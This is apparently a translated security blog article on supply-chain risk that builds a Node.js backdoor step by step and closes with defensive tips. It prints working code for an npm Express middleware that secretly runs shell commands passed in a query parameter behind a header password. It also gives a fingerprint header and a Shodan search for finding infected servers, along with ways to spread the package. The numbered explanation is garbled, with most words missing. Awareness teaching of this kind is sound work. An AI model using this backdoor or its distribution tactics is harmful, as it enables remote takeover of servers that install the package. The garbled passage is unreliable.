Know your enemy: create a Node.js backdoor

A backdoor in its own code, which can seamlessly interact with the operating system, is one of the worst nightmares of any developer. Currently, npm has over 1.2 million public packages. Over the past three years, project addictions have become an ideal target for cybercriminals. The npm ecosystem can be surprisingly fragile if the development community does not pay close attention to security. As evidence of this idea, it suffices to recall the typosquatting and the incident with the event-stream npm package. The author of the article, the translation of which we are publishing today, wants, for educational purposes, to talk about how to create backdoors for the Node.js platform.





What is a backdoor?


Here is the definition of the term β€œbackdoor” given on the Malwarebytes resource : β€œIn the field of cybersecurity, a backdoor is any method by which authorized and unauthorized users can bypass common security measures and gain high-level root access to a computer system, network application. After gaining such access to the system, cybercriminals can use a backdoor to steal personal and financial data, install additional malware, and hack devices. ”

The backdoor consists of two main parts:

  1. Malicious code embedded in and executed on an attacked system
  2. An open communication channel that allows an attacker to send commands to a backdoor and control a remote computer.

The backdoor installed on the computer is sent commands in response to which it performs certain actions. These can be commands aimed at extracting valuable information from the system, such as environmental variables, or designed to perform an attack on the database. Moreover, the execution of such commands may result in a change in other processes that affect a single computer or the entire network. The scale of the attack depends on the permissions that the infected application has. In our case, we are talking about an application written for the Node.js. platform.

In order to create a simplified version of the program that implements the above attack, we will use the standard module child_process to execute the code. To establish communication with the backdoor, we use an HTTP server. I would advise you to use the Express framework in this case, which is known for its huge capabilities, but what will be discussed can be implemented using any other suitable tools.

Why do we need child_process?


The standard Node.js module child_processcan be used to start child processes. The main idea here is that it gives us the opportunity to execute commands (coming into the process through a standard input stream - stdin) like pwdor ping snyk.io, and then integrate the result of these commands (the output comes from the output stream - stdout) and possible error messages (from stream stderr) to the main program.


Process execution and its relationship with standard input, output, and error flows, which play the role of input and output flows for a running system process.

There are various ways to execute child processes. For this attack, it is easiest to use a functionexecthat allows you to callback and put into the appropriate buffers what gets into thestdoutandstreamsstderr. For example, what will be issued as a result of the commandcat passwords.txt. Please note that a functionexecis not the best way to perform lengthy tasks likeping snyk.io.

const  {exec} = require('child_process');

exec('cat .env', (err, stdout, stderr) => {
  if(err) throw err
  if(stderr) return console.log(`Execution error: ${stderr}`)
  console.log(`Env file content:  ${stdout}`)
})

How to combine exec function with HTTP server?


I developed a simple, innocent-looking browser-redirect middleware package for Express applications. It redirects non-Chrome users to browsehappy.com . I will include malicious code in this package.

The package code will be something like this:

const useragent = require('useragent');

module.exports = () => (req, res, next) => {   
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

It is enough for the victim to install the package and use it in the Express application in the same way as they use any package in the middle layer:

const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")
 
const app = express();
 
app.use(browserRedirect())
app.use(helmet())
 
app.get("/", (req, res)=>{
    res.send("Hello Chrome User!")
})
 
app.listen(8080)

Please note that in this case, even if used Helmet, this does not protect the application from attack.

Malicious code


The implementation of the malicious code is quite simple:

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
 
module.exports = () => (req, res, next) => {
    //  
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
        return exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    }
    //  
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

How does our backdoor work? To answer this question, consider the following:

  1. , . . md5- ( p@ssw0rd1234 c4fbb68607bcbb25407e0362dab0b2ea). knock_knock. , , , .
  2. , . , . Content-Sec-Policy, Content-security-policy. β€” . . Shodan, : /search?query=Content-Sec-Policy%3A+default-src+%27self%27.
  3. ?cmd . . victim.com/?cmd=whoami ?cmd=cat .env JSON.


Now that the backdoor code is ready, you need to think about how to distribute the malicious package.

The first step is to publish the package. I published the package browser-redirect@1.0.2in npm. But if you look at the GitHub repository of the project, then the malicious code will not be there. See for yourself - take a look at the master project branch and release 1.0.2 . This is possible due to the fact that npm does not verify the code of published packages with the code published in some system designed to work with source code.

Although the package is published in npm, its chances of distribution are still very low, as potential victims still need to find and install it.

Another way to distribute a package is to add a malicious module as a dependency for other packages. If an attacker has access to an account with the publication rights of some important package, he can publish a new version of such a package. The dependencies of the new version of the package will also include a backdoor. As a result, we are talking about the direct inclusion of a malicious package in the dependencies of a popular project (take a look at the analysis of the incident that occurred with event-stream). Alternatively, an attacker can try to make PR in a project by making appropriate changes to the lock file. Read about it here .

Another important factor that needs to be taken into account is whether the attacker has access to the credentials (username and password) of someone who is supporting a certain popular project. If an attacker has such data, he can easily release a new version of the package - just as happened with eslint .

But even if someone who supports the project uses two-factor authentication to publish it, he still risks it. And when a continuous integration system is used to deploy new versions of the project, two-factor authentication must be turned off. As a result, if an attacker can steal a working npm token for a continuous integration system (for example, from logs accidentally made public, from data leaks, and from other similar sources), then he will be able to deploy new releases containing malicious code .

Please note that the new API has been released .(still in private beta status), which allows you to find out whether the package was published using the IP address of the TOR network, and whether two-factor authentication was used when publishing.

Moreover, attackers can configure the malicious code so that it runs in the form of a script that is executed before installation or after installing any npm package. There are standard lifecycle hooks for npm packages that let you execute code on a user's computer at a specific time. For example, a system for organizing testing projects in a browser, Puppeteer , uses these hooks to install Chromium on a host system.

Ryan Dahl already saidabout these vulnerabilities at JSConf EU 2018. The Node.js platform needs a higher level of protection to prevent this and other attack vectors.

Here are some conclusions from the open source software security study:

  • 78% of vulnerabilities are found in indirect dependencies, which complicates the process of getting rid of such vulnerabilities.
  • Over 2 years, there has been an increase in vulnerabilities in libraries by 88%.
  • 81% of respondents believe that developers themselves should be responsible for security. They, in addition, believe that the developers are not well prepared for this.

Results: how to protect yourself from backdoors?


Controlling dependencies is not always easy, but a few tips can help you with this:

  • Use well-known and well-supported libraries.
  • Get involved in community life and help those who support libraries. Help may include writing code or providing financial support for projects.
  • Use NQP to analyze the new dependencies of your project.
  • Use Snyk to keep abreast of vulnerabilities and monitor your projects.
  • Analyze the code of the dependencies you are using, stored in npm. Don't limit yourself to viewing code from GitHub or other similar systems.

Dear readers! How do you protect your projects using someone else's code?


All Articles